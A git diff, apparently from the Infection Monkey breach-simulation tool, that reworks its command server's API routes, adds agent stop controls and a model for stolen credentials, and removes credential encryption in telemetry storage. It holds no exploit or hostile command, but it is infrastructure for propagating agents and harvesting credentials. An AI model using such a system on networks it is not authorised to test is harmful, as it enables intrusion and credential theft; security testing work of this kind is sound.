"sha256:f30ddd110634c2d7534b2d4e0e22967e88366b0d356b24de87419cc4410c41b7" ], - "markers": "python_version >= '3.6'", - "version": "==1.5.0" + "markers": "python_version < '3.8' and implementation_name == 'cpython'", + "version": "==1.5.2" }, "typing-extensions": { "hashes": [ - "sha256:2cdf80e4e04866a9b3689a51869016d36db0814d84b8d8a568d22781d45d27ed", - "sha256:829704698b22e13ec9eaf959122315eabb370b0884400e9818334d8b677023d9" + "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", + "sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" ], "markers": "python_version < '3.8'", - "version": "==4.0.0" + "version": "==4.1.1" }, "urllib3": { "hashes": [ - "sha256:4987c65554f7a2dbf30c18fd48778ef124af6fab771a377103da0585e2336ece", - "sha256:c4fdf4019605b6e5423637e01bc9fe4daef873709a7973e195ceba0a62bbc844" + "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14", + "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.7" + "version": "==1.26.9" }, "virtualenv": { "hashes": [ - "sha256:4b02e52a624336eece99c96e3ab7111f469c24ba226a53ec474e8e787b365814", - "sha256:576d05b46eace16a9c348085f7d0dc8ef28713a2cabaa1cf0aea41e8f12c9218" + "sha256:1e8588f35e8b42c6ec6841a13c5e88239de1e6e4e4cedfd3916b306dc826ec66", + "sha256:8e5b402037287126e81ccde9432b95a8be5b19d36584f64957060a3488c11ca8" ], "index": "pypi", - "version": "==20.10.0" + "version": "==20.14.0" }, "vulture": { "hashes": [ @@ -1482,11 +1280,11 @@ }, "zipp": { "hashes": [ - "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", - "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" + "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", + "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" ], - "markers": "python_version < '3.10'", - "version": "==3.6.0" + "markers": "python_version >= '3.7'", + "version": "==3.8.0" } } } diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 7ea91c0db..b4413e7a5 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,8 +6,8 @@ import flask_restful from flask import Flask, Response, send_from_directory from werkzeug.exceptions import NotFound -from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.database import database, mongo +from monkey_island.cc.resources.agent_controls import StopAgentCheck, StopAllAgents from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration @@ -17,7 +17,6 @@ from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyB from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( TelemetryBlackboxEndpoint, ) -from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.configuration_export import ConfigurationExport from monkey_island.cc.resources.configuration_import import ConfigurationImport @@ -30,26 +29,21 @@ from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey -from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration -from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck -from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload +from monkey_island.cc.resources.propagation_credentials import PropagationCredentials from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport -from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent -from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys -from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder @@ -97,6 +91,7 @@ def init_app_config(app, mongo_url): # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False + app.url_map.strict_slashes = False app.json_encoder = CustomJSONEncoder @@ -121,28 +116,27 @@ def init_api_resources(api): api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") - api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") - api.add_resource(Bootloader, "/api/bootloader/") - api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") - api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") api.add_resource( - Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" + Monkey, + "/api/monkey", + "/api/monkey/", + "/api/monkey//", ) + api.add_resource(LocalRun, "/api/local-monkey") + api.add_resource(ClientRun, "/api/client-monkey") + api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/") api.add_resource(IslandMode, "/api/island-mode") - api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") - api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") + api.add_resource(IslandConfiguration, "/api/configuration/island") api.add_resource(ConfigurationExport, "/api/configuration/export") api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource( MonkeyDownload, - "/api/monkey/download", - "/api/monkey/download/", - "/api/monkey/download/", + "/api/monkey/download/", ) - api.add_resource(NetMap, "/api/netmap", "/api/netmap/") - api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") - api.add_resource(Node, "/api/netmap/node", "/api/netmap/node/") + api.add_resource(NetMap, "/api/netmap") + api.add_resource(Edge, "/api/netmap/edge") + api.add_resource(Node, "/api/netmap/node") api.add_resource(NodeStates, "/api/netmap/nodeStates") api.add_resource(SecurityReport, "/api/report/security") @@ -153,23 +147,21 @@ def init_api_resources(api): api.add_resource(MonkeyExploitation, "/api/exploitations/monkey") api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/") - api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") - api.add_resource(Log, "/api/log", "/api/log/") - api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/") + api.add_resource(TelemetryFeed, "/api/telemetry-feed") + api.add_resource(Log, "/api/log") + api.add_resource(IslandLog, "/api/log/island/download") api.add_resource(PBAFileDownload, "/api/pba/download/") - api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( FileUpload, "/api/fileUpload/", "/api/fileUpload/?load=", "/api/fileUpload/?restore=", ) - api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") - api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") - api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") - api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") - api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") - api.add_resource(AWSKeys, "/api/aws_keys") + api.add_resource(PropagationCredentials, "/api/propagation-credentials/") + api.add_resource(RemoteRun, "/api/remote-monkey") + api.add_resource(VersionUpdate, "/api/version-update") + api.add_resource(StopAgentCheck, "/api/monkey_control/needs-to-stop/") + api.add_resource(StopAllAgents, "/api/monkey_control/stop-all-agents") # Resources used by black box tests api.add_resource(MonkeyBlackboxEndpoint, "/api/test/monkey") diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index cab95ae18..c293ae2e7 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -3,8 +3,8 @@ from .command_control_channel import CommandControlChannel # Order of importing matters here, for registering the embedded and referenced documents before # using them. from .config import Config -from .creds import Creds from .monkey import Monkey from .monkey_ttl import MonkeyTtl from .pba_results import PbaResults from monkey_island.cc.models.report.report import Report +from .stolen_credentials import StolenCredentials diff --git a/monkey/monkey_island/cc/models/agent_controls/__init__.py b/monkey/monkey_island/cc/models/agent_controls/__init__.py new file mode 100644 index 000000000..e623955c3 --- /dev/null +++ b/monkey/monkey_island/cc/models/agent_controls/__init__.py @@ -0,0 +1 @@ +from .agent_controls import AgentControls diff --git a/monkey/monkey_island/cc/models/agent_controls/agent_controls.py b/monkey/monkey_island/cc/models/agent_controls/agent_controls.py new file mode 100644 index 000000000..37903d5e7 --- /dev/null +++ b/monkey/monkey_island/cc/models/agent_controls/agent_controls.py @@ -0,0 +1,7 @@ +from mongoengine import Document, FloatField + + +class AgentControls(Document): + + # Timestamp of the last "kill all agents" command + last_stop_all = FloatField(default=None) diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index f4af7b400..db5fd9e94 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -1,4 +1,4 @@ -from mongoengine import EmbeddedDocument +from mongoengine import BooleanField, EmbeddedDocument class Config(EmbeddedDocument): @@ -8,5 +8,6 @@ class Config(EmbeddedDocument): See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ + should_stop = BooleanField() meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py deleted file mode 100644 index d0861846d..000000000 --- a/monkey/monkey_island/cc/models/creds.py +++ /dev/null @@ -1,10 +0,0 @@ -from mongoengine import EmbeddedDocument - - -class Creds(EmbeddedDocument): - """ - TODO get an example of this data, and make it strict - """ - - meta = {"strict": False} - pass diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 24c8363d3..74967878c 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -9,6 +9,7 @@ from mongoengine import ( DoesNotExist, DynamicField, EmbeddedDocumentField, + FloatField, ListField, ReferenceField, StringField, @@ -20,6 +21,10 @@ from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURAT from monkey_island.cc.services.utils.network_utils import local_ip_addresses +class ParentNotFoundError(Exception): + """Raise when trying to get a parent of monkey that doesn't have one""" + + class Monkey(Document): """ This class has 2 main section: @@ -33,13 +38,12 @@ class Monkey(Document): # SCHEMA guid = StringField(required=True) config = EmbeddedDocumentField("Config") - creds = ListField(EmbeddedDocumentField("Creds")) dead = BooleanField() description = StringField() hostname = StringField() ip_addresses = ListField(StringField()) - launch_time = StringField() - keepalive = DateTimeField() + networks = ListField() + launch_time = FloatField() modifytime = DateTimeField() # TODO make "parent" an embedded document, so this can be removed and the schema explained ( # and validated) verbosely. @@ -95,6 +99,18 @@ class Monkey(Document): monkey_is_dead = True return monkey_is_dead + def has_parent(self): + for p in self.parent: + if p[0] != self.guid: + return True + return False + + def get_parent(self): + if self.has_parent(): + return Monkey.objects(guid=self.parent[0][0]).first() + else: + raise ParentNotFoundError(f"No parent was found for agent with GUID {self.guid}") + def get_os(self): os = "unknown" if self.description.lower().find("linux") != -1: diff --git a/monkey/monkey_island/cc/models/stolen_credentials.py b/monkey/monkey_island/cc/models/stolen_credentials.py new file mode 100644 index 000000000..fea6068bd --- /dev/null +++ b/monkey/monkey_island/cc/models/stolen_credentials.py @@ -0,0 +1,31 @@ +from __future__ import annotations + +from mongoengine import Document, ListField, ReferenceField + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +class StolenCredentials(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple + times, somewhat like an API. + """ + + # SCHEMA + monkey = ReferenceField(Monkey) + identities = ListField() + secrets = ListField() + + @staticmethod + def from_credentials(credentials: Credentials) -> StolenCredentials: + stolen_creds = StolenCredentials() + + stolen_creds.secrets = [secret["credential_type"] for secret in credentials.secrets] + stolen_creds.identities = credentials.identities + stolen_creds.monkey = Monkey.get_single_monkey_by_guid(credentials.monkey_guid).id + return stolen_creds diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py index d6425238f..a46242419 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py @@ -5,23 +5,9 @@ from typing import List from monkey_island.cc.database import mongo from monkey_island.cc.models import CommandControlChannel from monkey_island.cc.models.telemetries.telemetry import Telemetry -from monkey_island.cc.server_utils.encryption import ( - FieldNotFoundError, - MimikatzResultsEncryptor, - SensitiveField, - decrypt_dict, - encrypt_dict, -) - -sensitive_fields = [SensitiveField("data.credentials", MimikatzResultsEncryptor)] def save_telemetry(telemetry_dict: dict): - try: - telemetry_dict = encrypt_dict(sensitive_fields, telemetry_dict) - except FieldNotFoundError: - pass # Not all telemetries require encryption - cc_channel = CommandControlChannel( src=telemetry_dict["command_control_channel"]["src"], dst=telemetry_dict["command_control_channel"]["dst"], @@ -35,14 +21,5 @@ def save_telemetry(telemetry_dict: dict): ).save() -# A lot of codebase is using queries for telemetry collection and document field encryption is -# not yet implemented in mongoengine. To avoid big time investment, queries are used for now. def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: - telemetries = mongo.db.telemetry.find(query, output_fields) - decrypted_list = [] - for telemetry in telemetries: - try: - decrypted_list.append(decrypt_dict(sensitive_fields, telemetry)) - except FieldNotFoundError: - decrypted_list.append(telemetry) - return decrypted_list + return mongo.db.telemetry.find(query, output_fields) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py deleted file mode 100644 index 166c247bf..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py +++ /dev/null @@ -1,20 +0,0 @@ -from mongoengine import Document, DynamicField - - -class ScoutSuiteRawDataJson(Document): - """ - This model is a container for ScoutSuite report data dump. - """ - - # SCHEMA - scoutsuite_data = DynamicField(required=True) - - # LOGIC - @staticmethod - def add_scoutsuite_data(scoutsuite_data: str) -> None: - try: - current_data = ScoutSuiteRawDataJson.objects()[0] - except IndexError: - current_data = ScoutSuiteRawDataJson() - current_data.scoutsuite_data = scoutsuite_data - current_data.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py deleted file mode 100644 index 174a68db7..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import annotations - -from mongoengine import LazyReferenceField - -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails - - -class ScoutSuiteFinding(Finding): - # We put additional info into a lazy reference field, because this info should be only - # pulled when explicitly needed due to performance - details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) - - @staticmethod - def save_finding( - test: str, status: str, detail_ref: ScoutSuiteFindingDetails - ) -> ScoutSuiteFinding: - finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) - finding.save() - return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py deleted file mode 100644 index 9f2b24d9d..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ /dev/null @@ -1,13 +0,0 @@ -from mongoengine import Document, EmbeddedDocumentListField - -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule - - -class ScoutSuiteFindingDetails(Document): - # SCHEMA - scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) - - def add_rule(self, rule: ScoutSuiteRule) -> None: - if rule not in self.scoutsuite_rules: - self.scoutsuite_rules.append(rule) - self.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py deleted file mode 100644 index fcf09df9c..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py +++ /dev/null @@ -1,25 +0,0 @@ -from mongoengine import DynamicField, EmbeddedDocument, IntField, ListField, StringField - -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts - - -class ScoutSuiteRule(EmbeddedDocument): - """ - This model represents ScoutSuite security rule check results: - how many resources break the security rule - security rule description and remediation and etc. - """ - - # SCHEMA - description = StringField(required=True) - path = StringField(required=True) - level = StringField(required=True, options=rule_consts.RULE_LEVELS) - items = ListField() - dashboard_name = StringField(required=True) - checked_items = IntField(min_value=0) - flagged_items = IntField(min_value=0) - service = StringField(required=True) - rationale = StringField(required=True) - remediation = StringField(required=False) - compliance = DynamicField(required=False) - references = ListField(required=False) diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py deleted file mode 100644 index 906d4c97f..000000000 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ /dev/null @@ -1,20 +0,0 @@ -import os - -import flask_restful -from flask import send_from_directory - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - - -class T1216PBAFileDownload(flask_restful.Resource): - """ - File download endpoint used by monkey to download executable file for T1216 ("Signed Script - Proxy Execution" PBA) - """ - - def get(self): - executable_file_name = "T1216_random_executable.exe" - return send_from_directory( - directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), - path=executable_file_name, - ) diff --git a/monkey/monkey_island/cc/resources/agent_controls/__init__.py b/monkey/monkey_island/cc/resources/agent_controls/__init__.py new file mode 100644 index 000000000..211696e4c --- /dev/null +++ b/monkey/monkey_island/cc/resources/agent_controls/__init__.py @@ -0,0 +1,2 @@ +from .stop_all_agents import StopAllAgents +from .stop_agent_check import StopAgentCheck diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py b/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py new file mode 100644 index 000000000..3fb948a68 --- /dev/null +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py @@ -0,0 +1,8 @@ +import flask_restful + +from monkey_island.cc.services.infection_lifecycle import should_agent_die + + +class StopAgentCheck(flask_restful.Resource): + def get(self, monkey_guid: int): + return {"stop_agent": should_agent_die(monkey_guid)} diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py new file mode 100644 index 000000000..a8819243b --- /dev/null +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -0,0 +1,23 @@ +import json + +import flask_restful +from flask import make_response, request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.resources.utils.semaphores import agent_killing_mutex +from monkey_island.cc.services.infection_lifecycle import set_stop_all, should_agent_die + + +class StopAllAgents(flask_restful.Resource): + @jwt_required + def post(self): + with agent_killing_mutex: + data = json.loads(request.data) + if data["kill_time"]: + set_stop_all(data["kill_time"]) + return make_response({}, 200) + else: + return make_response({}, 400) + + def get(self, monkey_guid): + return {"stop_agent": should_agent_die(monkey_guid)} diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py deleted file mode 100644 index b228b9eea..000000000 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ /dev/null @@ -1,41 +0,0 @@ -import json -from typing import Dict - -import flask_restful -from flask import make_response, request - -from monkey_island.cc.services.bootloader import BootloaderService - - -class Bootloader(flask_restful.Resource): - - # Used by monkey. can't secure. - def post(self, os): - if os == "linux": - data = Bootloader._get_request_contents_linux(request.data) - elif os == "windows": - data = Bootloader._get_request_contents_windows(request.data) - else: - return make_response({"status": "OS_NOT_FOUND"}, 404) - - result = BootloaderService.parse_bootloader_telem(data) - - if result: - return make_response({"status": "RUN"}, 200) - else: - return make_response({"status": "ABORT"}, 200) - - @staticmethod - def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: - parsed_data = json.loads( - request_data.decode() - .replace('"\n', "") - .replace("\n", "") - .replace('NAME="', "") - .replace('":",', '":"",') - ) - return parsed_data - - @staticmethod - def _get_request_contents_windows(request_data: bytes) -> Dict[str, str]: - return json.loads(request_data.decode("utf-16", "ignore")) diff --git a/monkey/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py index 79a8c214b..4c2d02180 100644 --- a/monkey/monkey_island/cc/resources/client_run.py +++ b/monkey/monkey_island/cc/resources/client_run.py @@ -15,7 +15,6 @@ class ClientRun(flask_restful.Resource): monkey = NodeService.get_monkey_island_monkey() else: monkey = NodeService.get_monkey_by_ip(client_ip) - NodeService.update_dead_monkeys() if monkey is not None: is_monkey_running = not monkey["dead"] else: diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 49517dbdb..5645557da 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -12,7 +12,6 @@ from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService class LocalRun(flask_restful.Resource): @jwt_required def get(self): - NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() if island_monkey is not None: is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead() diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index f607b81e1..9e4cf47af 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -1,13 +1,13 @@ import json from datetime import datetime -import dateutil.parser import flask_restful from flask import request from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.utils.semaphores import agent_killing_mutex from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService @@ -19,14 +19,20 @@ from monkey_island.cc.services.node import NodeService class Monkey(flask_restful.Resource): # Used by monkey. can't secure. - def get(self, guid=None, **kw): - NodeService.update_dead_monkeys() # refresh monkeys status + def get(self, guid=None, config_format=None, **kw): if not guid: guid = request.args.get("guid") if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) + # TODO: When the "legacy" format is no longer needed, update this logic and remove the + # "/api/monkey//" route. Also considering not + # flattening the config in the first place. + if config_format == "legacy": + ConfigService.decrypt_flat_config(monkey_json["config"]) + else: + ConfigService.format_flat_config_for_agent(monkey_json["config"]) + return monkey_json return {} @@ -37,10 +43,6 @@ class Monkey(flask_restful.Resource): monkey_json = json.loads(request.data) update = {"$set": {"modifytime": datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) - if "keepalive" in monkey_json: - update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) - else: - update["$set"]["keepalive"] = datetime.now() if "config" in monkey_json: update["$set"]["config"] = monkey_json["config"] if "config_error" in monkey_json: @@ -59,97 +61,97 @@ class Monkey(flask_restful.Resource): # Called on monkey wakeup to initialize local configuration @TestTelemStore.store_exported_telem def post(self, **kw): - monkey_json = json.loads(request.data) - monkey_json["creds"] = [] - monkey_json["dead"] = False - if "keepalive" in monkey_json: - monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) - else: - monkey_json["keepalive"] = datetime.now() + with agent_killing_mutex: + monkey_json = json.loads(request.data) + monkey_json["dead"] = False - monkey_json["modifytime"] = datetime.now() + monkey_json["modifytime"] = datetime.now() - ConfigService.save_initial_config_if_needed() + ConfigService.save_initial_config_if_needed() - # if new monkey telem, change config according to "new monkeys" config. - db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) + # if new monkey telem, change config according to "new monkeys" config. + db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) - # Update monkey configuration - new_config = ConfigService.get_flat_config(False, False) - monkey_json["config"] = monkey_json.get("config", {}) - monkey_json["config"].update(new_config) + # Update monkey configuration + new_config = ConfigService.get_flat_config(False, False) + monkey_json["config"] = monkey_json.get("config", {}) + monkey_json["config"].update(new_config) - # try to find new monkey parent - parent = monkey_json.get("parent") - parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run - if parent and parent != monkey_json.get("guid"): # current parent is known - exploit_telem = [ - x - for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - "monkey_guid": {"$eq": parent}, - } - ) - ] - if 1 == len(exploit_telem): - parent_to_add = ( - exploit_telem[0].get("monkey_guid"), - exploit_telem[0].get("data").get("exploiter"), - ) + # try to find new monkey parent + parent = monkey_json.get("parent") + parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run + if parent and parent != monkey_json.get("guid"): # current parent is known + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.exploitation_result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + "monkey_guid": {"$eq": parent}, + } + ) + ] + if 1 == len(exploit_telem): + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) + else: + parent_to_add = (parent, None) + elif ( + not parent or parent == monkey_json.get("guid") + ) and "ip_addresses" in monkey_json: + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.exploitation_result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + } + ) + ] + + if 1 == len(exploit_telem): + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) + + if not db_monkey: + monkey_json["parent"] = [parent_to_add] else: - parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get("guid")) and "ip_addresses" in monkey_json: - exploit_telem = [ - x - for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - } + monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] + + tunnel_host_ip = None + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") + monkey_json.pop("tunnel") + + ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) + monkey_json["ttl_ref"] = ttl.id + + mongo.db.monkey.update( + {"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True + ) + + # Merge existing scanned node with new monkey + + new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] + + if tunnel_host_ip is not None: + NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) + + existing_node = mongo.db.node.find_one( + {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} + ) + + if existing_node: + node_id = existing_node["_id"] + EdgeService.update_all_dst_nodes( + old_dst_node_id=node_id, new_dst_node_id=new_monkey_id ) - ] + mongo.db.node.remove({"_id": node_id}) - if 1 == len(exploit_telem): - parent_to_add = ( - exploit_telem[0].get("monkey_guid"), - exploit_telem[0].get("data").get("exploiter"), - ) - - if not db_monkey: - monkey_json["parent"] = [parent_to_add] - else: - monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] - - tunnel_host_ip = None - if "tunnel" in monkey_json: - tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") - monkey_json.pop("tunnel") - - ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - monkey_json["ttl_ref"] = ttl.id - - mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) - - # Merge existing scanned node with new monkey - - new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] - - if tunnel_host_ip is not None: - NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) - - existing_node = mongo.db.node.find_one( - {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} - ) - - if existing_node: - node_id = existing_node["_id"] - EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) - for creds in existing_node["creds"]: - NodeService.add_credentials_to_monkey(new_monkey_id, creds) - mongo.db.node.remove({"_id": node_id}) - 